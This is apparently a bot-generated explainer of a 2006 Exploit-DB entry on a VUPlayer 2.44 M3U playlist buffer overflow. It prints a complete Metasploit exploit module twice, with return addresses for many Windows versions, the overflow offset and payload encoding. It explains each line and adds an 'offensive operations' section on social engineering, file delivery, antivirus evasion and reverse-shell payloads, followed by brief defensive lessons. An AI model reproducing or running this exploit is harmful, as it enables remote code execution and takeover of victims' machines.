By exploitdb papers bot•November 30, 2006•

papers

VUPlayer 2.44 M3U UNC Name Buffer Overflow Explained

What this paper is

This paper details a vulnerability in VUPlayer version 2.44 and earlier. It describes how a specially crafted .m3u playlist file can cause a buffer overflow when VUPlayer attempts to parse it. This overflow can be exploited to overwrite critical program memory, specifically the instruction pointer (EIP), allowing an attacker to redirect program execution to their own malicious code. The paper provides a Metasploit module that automates this exploit.

Simple technical breakdown

Vulnerability: VUPlayer incorrectly handles long strings in .m3u playlist files, specifically when parsing UNC (Universal Naming Convention) paths.
Buffer Overflow: When a very long string is encountered, it overflows a buffer on the program's stack.
EIP Overwrite: This overflow can overwrite the return address (EIP) on the stack. EIP tells the program where to go next after a function finishes.
Code Execution: By controlling EIP, an attacker can make the program jump to malicious code (the payload) that they have also placed in memory.
Exploit Delivery: The exploit is delivered via a .m3u file. When VUPlayer opens this file, the vulnerability is triggered. The Metasploit module in the paper acts as a simple HTTP server to deliver this .m3u file.

Complete code and payload walkthrough

The provided code is a Metasploit Framework exploit module written in Ruby. Let's break down its components:

require 'msf/core'

module Msf

class Exploits::Windows::Browser::VUPlayer_M3U < Msf::Exploit::Remote

	include Exploit::Remote::HttpServer::Html

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VUPlayer <= 2.44 M3U UNC Name Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in VUPlayer 2.44 and lower.
				The vulnerability is caused due to a boundary error within
				the parsing of playlists containing an overly entries.
				After overwriting EIP with our return address, ESP stores our exploit.
				This module uses the M3U file format.  Original Discovery was by Greg Linares
				Expanders wrote the first PoC in C format.
			},
			'License'        => MSF_LICENSE,
			'Author'        =>
				[
					'Greg Linares',	# initial discovery and this metasploit module
					'Expanders', # wrote the original POC code
				],
			'Version'        => '$Revision: 1.0.0 $',
			'References'     =>
				[
					[ 'Email', 'GLinares.code@gmail.com'],
					[ 'Email', 'Expanders@gmail.com'],

				],

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Universal v2.44 and Lower - Bass.dll',	{ 'Ret' => 0x10010c3b } ],
					[ 'Windows XP Pro SP2 English',			{ 'Ret' => 0x77db41bc } ],
					[ 'Windows 2003 SP0 and SP1 English',		{ 'Ret' => 0x77d74adc } ],
					[ 'Windows 2000 Pro English SP4',		{ 'Ret' => 0x77e14c29 } ],
					[ 'Windows XP Pro SP2 French',			{ 'Ret' => 0x77d8519f } ],
					[ 'Windows XP Pro SP2 German',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows XP Pro SP2 Italian',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows XP Pro SP2 Spainish',		{ 'Ret' => 0x77d9932f } ],
					[ 'Windows XP Pro SP2 Dutch',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows XP Pro SP2 Polish',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows 2000 Pro French SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Italian SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro German SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Polish SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Dutch SP4',			{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Spainish SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Server French SP4',		{ 'Ret' => 0x77df4c29 } ],
					[ 'Windows 2000 Server Italian SP4',		{ 'Ret' => 0x77df4c29 } ],
					[ 'Windows 2000 Server Chineese SP4',		{ 'Ret' => 0x77df4c29 } ],


				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 29 2006',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def on_request_uri(client, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)

		title 	=  Rex::Text.rand_text_alpha_upper(8)


		sploit =  Rex::Text.rand_text_alpha_upper(1012) + [ target.ret ].pack('V')
		sploit << payload.encoded

		# Build the PLS Exploit
		content =  "#EXTM3U\r\n#EXTINF:8,#{title}"
		content << "\r\n" + sploit
		content << "\r\n"


		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

		# Transmit the response to the client
		send_response(client, content)
	end

end
end

Code Fragment/Block	Practical Purpose
`require 'msf/core'`	Imports the core Metasploit Framework library, providing access to exploit development classes and functions.
`module Msf ... end`	Defines a Ruby module to encapsulate the exploit code, following Metasploit's organizational structure.
`class Exploits::Windows::Browser::VUPlayer_M3U < Msf::Exploit::Remote`	Declares the exploit class, inheriting from `Msf::Exploit::Remote`. This signifies it's a remote exploit.
`include Exploit::Remote::HttpServer::Html`	Mixes in functionality to make this exploit a web server that serves HTML content, which in this case will be the `.m3u` file.
`def initialize(info = {}) ... end`	The constructor for the exploit. It initializes the exploit's metadata and configuration.
`super(update_info(info, ...))`	Calls the parent class's `initialize` method to set up the exploit's core attributes.
`'Name' => 'VUPlayer <= 2.44 M3U UNC Name Buffer Overflow'`	The human-readable name of the exploit.
`'Description' => %q{...}`	A detailed explanation of the vulnerability and how the exploit works.
`'License' => MSF_LICENSE`	Specifies the license under which the exploit is distributed (Metasploit's license).
`'Author' => [...]`	Lists the authors of the exploit.
`'Version' => '$Revision: 1.0.0 $'`	The version of the exploit module.
`'References' => [...]`	Lists references to where more information about the vulnerability or exploit can be found.
`'DefaultOptions' => { 'EXITFUNC' => 'thread' }`	Sets default options for the exploit. `EXITFUNC => 'thread'` means that when the payload finishes, it will exit cleanly by terminating its thread.
`'Payload' => { ... }`	Defines the characteristics of the payload that will be delivered.
`'Space' => 800`	The maximum size in bytes available for the shellcode payload.
`'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40"`	A string of characters that must not appear in the shellcode. These characters can break the shellcode's execution or the exploit's construction.
`'EncoderType' => Msf::Encoder::Type::AlphanumUpper`	Specifies the type of encoder to use for the payload. `AlphanumUpper` is an encoder that uses only uppercase alphanumeric characters, which is often useful for bypassing certain filters or for shellcode that needs to avoid specific byte values.
`'Platform' => 'win'`	Indicates that the exploit targets the Windows platform.
`'Targets' => [...]`	A list of different operating system versions and configurations that the exploit can target. Each target specifies a unique return address (`Ret`).
`[ 'Universal v2.44 and Lower - Bass.dll', { 'Ret' => 0x10010c3b } ]`	A specific target. The `Ret` value is a memory address within `bass.dll` (a common audio library) that is likely to be loaded and contain executable code. This address is used to overwrite EIP.
`'Privileged' => false`	Indicates that the exploit does not require elevated privileges to run.
`'DisclosureDate' => 'Nov 29 2006'`	The date the vulnerability was publicly disclosed.
`'DefaultTarget' => 0`	The index of the target that will be used by default.

	def autofilter
		false
	end

def autofilter: This method is part of Metasploit's HTTP server handler. When set to false, it means the exploit module will not automatically filter incoming requests based on certain criteria. It will process all requests it receives.

	def on_request_uri(client, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)

		title 	=  Rex::Text.rand_text_alpha_upper(8)


		sploit =  Rex::Text.rand_text_alpha_upper(1012) + [ target.ret ].pack('V')
		sploit << payload.encoded

		# Build the PLS Exploit
		content =  "#EXTM3U\r\n#EXTINF:8,#{title}"
		content << "\r\n" + sploit
		content << "\r\n"


		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

		# Transmit the response to the client
		send_response(client, content)
	end

def on_request_uri(client, request): This is the core method that handles incoming HTTP requests.
- return if ((p = regenerate_payload(client)) == nil): This line ensures that a valid payload is generated for the current client. If payload generation fails, the method exits. regenerate_payload is a Metasploit function that creates a fresh instance of the configured payload.
- title = Rex::Text.rand_text_alpha_upper(8): Generates a random 8-character uppercase alphanumeric string to be used as part of the playlist entry's description. This helps make the generated playlist slightly more unique.
- sploit = Rex::Text.rand_text_alpha_upper(1012) + [ target.ret ].pack('V'): This is the crucial part of the exploit construction.
  - Rex::Text.rand_text_alpha_upper(1012): Creates a string of 1012 random uppercase alphanumeric characters. This forms the "junk" data that will fill the buffer. The exact number (1012) is determined by analyzing the buffer size and offset to the return address in VUPlayer.
  - [ target.ret ].pack('V'): Takes the return address (target.ret) selected for the current target and packs it into a 4-byte little-endian format ('V'). This address is what overwrites EIP.
  - The + operator concatenates these two parts, creating the initial part of the exploit string.
- sploit << payload.encoded: Appends the actual shellcode (payload.encoded) to the sploit string. This shellcode will be executed after the program jumps to the overwritten return address.
- content = "#EXTM3U\r\n#EXTINF:8,#{title}": Starts building the .m3u file content.
  - #EXTM3U: A standard header for M3U playlists.
  - #EXTINF:8,#{title}: An extended information tag. 8 is the duration (in seconds), and #{title} is the random title generated earlier.
- content << "\r\n" + sploit: Appends a newline character (\r\n) followed by the constructed sploit string (the padding, the return address, and the payload). This sploit string is what contains the overflow. The vulnerability is triggered when VUPlayer parses this long string as a playlist entry, likely a UNC path.
- content << "\r\n": Appends a final newline character.
- print_status("Sending exploit to #{client.peerhost}:#{client.peerport}..."): Prints a message to the Metasploit console indicating that the exploit is being sent to the target.
- send_response(client, content): Sends the constructed .m3u content as an HTTP response to the client that requested it.

Payload Stage Explanation:

The payload.encoded part is the actual shellcode. The BadChars and EncoderType in the 'Payload' section are crucial here.

BadChars: The list \x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40 contains characters that are problematic. Null bytes (\x00) often terminate strings prematurely. Other characters like spaces (\x20), quotes (\x22), slashes (\x2f), etc., might also interfere with parsing or the exploit mechanism itself.
EncoderType => Msf::Encoder::Type::AlphanumUpper: This tells Metasploit to use an encoder that transforms the raw shellcode into a version composed only of uppercase alphanumeric characters (A-Z, 0-9). This is a common technique to bypass filters that might block certain byte values or to ensure the shellcode can be safely embedded within strings that have character restrictions. The encoder will prepend itself to the shellcode, and when executed, the encoder stub will decode the original shellcode in memory before running it.

The overall flow is: VUPlayer opens the .m3u file -> parses the long string -> buffer overflow occurs -> EIP is overwritten with target.ret -> program jumps to target.ret -> code at target.ret (likely in bass.dll) is executed -> this code then jumps to the shellcode (which was placed after the return address on the stack) -> the shellcode executes.

Practical details for offensive operations teams

Required Access Level: No elevated privileges are required on the target machine. The exploit relies on the user opening a malicious .m3u file.
Lab Preconditions:
- A vulnerable version of VUPlayer (<= 2.44) must be installed on the target machine.
- The target machine must be able to access the Metasploit listener over HTTP.
- A Metasploit Framework instance configured to run the exploit module.
Tooling Assumptions:
- Metasploit Framework is the primary tool.
- A web browser on the target machine capable of opening .m3u files and resolving UNC paths (though the exploit uses a direct HTTP delivery, the vulnerability itself is related to UNC path parsing).
Execution Pitfalls:
- Target Selection: Choosing the correct target option is critical. The Ret address must point to a reliable location in executable memory on the specific OS and VUPlayer version. Incorrect Ret values will lead to crashes or unpredictable behavior.
- Payload Encoding: The BadChars and EncoderType are crucial. If the chosen encoder or the resulting shellcode contains characters that VUPlayer's parsing or the exploit mechanism cannot handle, the exploit will fail. Testing different encoders or custom shellcode might be necessary.
- Network Connectivity: The target must be able to reach the Metasploit listener. Firewalls or network segmentation can prevent the exploit from working.
- VUPlayer Behavior: The exploit assumes VUPlayer will attempt to parse the playlist entry as a path or URL that triggers the overflow. If VUPlayer's behavior changes in specific configurations or if the playlist is handled differently, the exploit might fail.
- Antivirus/Endpoint Detection: Modern AV solutions might detect the Metasploit module, the generated payload, or the HTTP server activity. Evasion techniques might be required.
Tradecraft Considerations:
- Delivery Mechanism: The .m3u file can be delivered via email attachment, a shared network drive, or a malicious website. The Metasploit module simplifies this by acting as a web server, allowing the target to download the file.
- Social Engineering: Users need to be tricked into opening the .m3u file. This could involve convincing them it's a legitimate playlist for music or media.
- Reconnaissance: Identifying VUPlayer versions on target systems is a prerequisite for successful exploitation.
- Payload Choice: The chosen payload (payload.encoded) should be appropriate for the desired outcome (e.g., a reverse shell, meterpreter).

Where this was used and when

Context: This exploit targets a specific vulnerability in VUPlayer, a media player. Its use would be in scenarios where an attacker aims to gain control of a system running this vulnerable software.
Approximate Years/Dates: The vulnerability was disclosed in November 2006. Exploitation would have occurred around this time and potentially for some period afterward until users patched or updated VUPlayer. The Metasploit module was published in 2006.

Defensive lessons for modern teams

Software Patching and Updates: Regularly updating software, especially media players and applications that handle user-provided content, is paramount. This vulnerability was fixed in later versions of VUPlayer.
Input Validation: Developers must implement robust input validation to prevent buffer overflows. This includes checking string lengths and sanitizing user-supplied data before processing it.
Least Privilege: Running applications with the minimum necessary privileges can limit the impact of a successful exploit. Even if an exploit succeeds, it will only have the permissions of the user running VUPlayer.
Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious process behavior, such as unexpected memory writes, EIP overwrites, or the execution of shellcode, even if the initial exploit vector is novel.
Network Segmentation: Isolating critical systems can prevent an attacker from easily reaching vulnerable applications.
Application Whitelisting: Allowing only approved applications to run can prevent unauthorized software like vulnerable media players from being installed or executed.
File Type Handling: Be cautious about how applications handle potentially malicious file types like .m3u playlists, especially when they can contain executable code or trigger network requests.

ASCII visual (if applicable)

This exploit doesn't lend itself to a complex architectural diagram. The core interaction is a client requesting a file from a server.

+-----------------+       HTTP Request       +-----------------+
| Target Machine  | ----------------------> | Metasploit Host |
| (VUPlayer User) | (Request for .m3u file) | (HTTP Server)   |
+-----------------+                         +-----------------+
        ^                                           |
        | HTTP Response (.m3u file content)         | Serves .m3u
        |                                           |
+-----------------+                                 |
| VUPlayer Process| <---------------------------------+
| (Vulnerable)    |
| - Parses .m3u   |
| - Buffer Overflow|
| - EIP Overwrite |
| - Payload Exec. |
+-----------------+

The diagram illustrates the client-server interaction. The Metasploit host acts as the server, delivering the malicious .m3u file. The target machine, running VUPlayer, then processes this file, triggering the vulnerability.

Source references

Paper URL: https://www.exploit-db.com/papers/2870
Raw Exploit URL: https://www.exploit-db.com/raw/2870
Author: Greg Linares
Published: 2006-11-30

Original Exploit-DB Content (Verbatim)

require 'msf/core'

module Msf

class Exploits::Windows::Browser::VUPlayer_M3U < Msf::Exploit::Remote

	include Exploit::Remote::HttpServer::Html

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VUPlayer <= 2.44 M3U UNC Name Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in VUPlayer 2.44 and lower. 
				The vulnerability is caused due to a boundary error within 
				the parsing of playlists containing an overly entries.
				After overwriting EIP with our return address, ESP stores our exploit.
				This module uses the M3U file format.  Original Discovery was by Greg Linares
				Expanders wrote the first PoC in C format. 
			},
			'License'        => MSF_LICENSE,
			'Author'        => 
				[
					'Greg Linares',	# initial discovery and this metasploit module
					'Expanders', # wrote the original POC code
				],
			'Version'        => '$Revision: 1.0.0 $',
			'References'     => 
				[
					[ 'Email', 'GLinares.code@gmail.com'],
					[ 'Email', 'Expanders@gmail.com'],
	
				],

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Universal v2.44 and Lower - Bass.dll',	{ 'Ret' => 0x10010c3b } ],
					[ 'Windows XP Pro SP2 English',			{ 'Ret' => 0x77db41bc } ],
					[ 'Windows 2003 SP0 and SP1 English',		{ 'Ret' => 0x77d74adc } ],
					[ 'Windows 2000 Pro English SP4',		{ 'Ret' => 0x77e14c29 } ],
					[ 'Windows XP Pro SP2 French',			{ 'Ret' => 0x77d8519f } ],
					[ 'Windows XP Pro SP2 German',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows XP Pro SP2 Italian',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows XP Pro SP2 Spainish',		{ 'Ret' => 0x77d9932f } ],
					[ 'Windows XP Pro SP2 Dutch',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows XP Pro SP2 Polish',			{ 'Ret' => 0x77d873a0 } ],
					[ 'Windows 2000 Pro French SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Italian SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro German SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Polish SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Dutch SP4',			{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Pro Spainish SP4',		{ 'Ret' => 0x77e04c29 } ],
					[ 'Windows 2000 Server French SP4',		{ 'Ret' => 0x77df4c29 } ],
					[ 'Windows 2000 Server Italian SP4',		{ 'Ret' => 0x77df4c29 } ],
					[ 'Windows 2000 Server Chineese SP4',		{ 'Ret' => 0x77df4c29 } ],

				
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 29 2006',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end
	
	def on_request_uri(client, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)
	
		title 	=  Rex::Text.rand_text_alpha_upper(8)


		sploit =  Rex::Text.rand_text_alpha_upper(1012) + [ target.ret ].pack('V')  
		sploit << payload.encoded

		# Build the PLS Exploit
		content =  "#EXTM3U\r\n#EXTINF:8,#{title}"
		content << "\r\n" + sploit
		content << "\r\n"
		

		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

		# Transmit the response to the client
		send_response(client, content)
	end

end
end

# milw0rm.com [2006-11-30]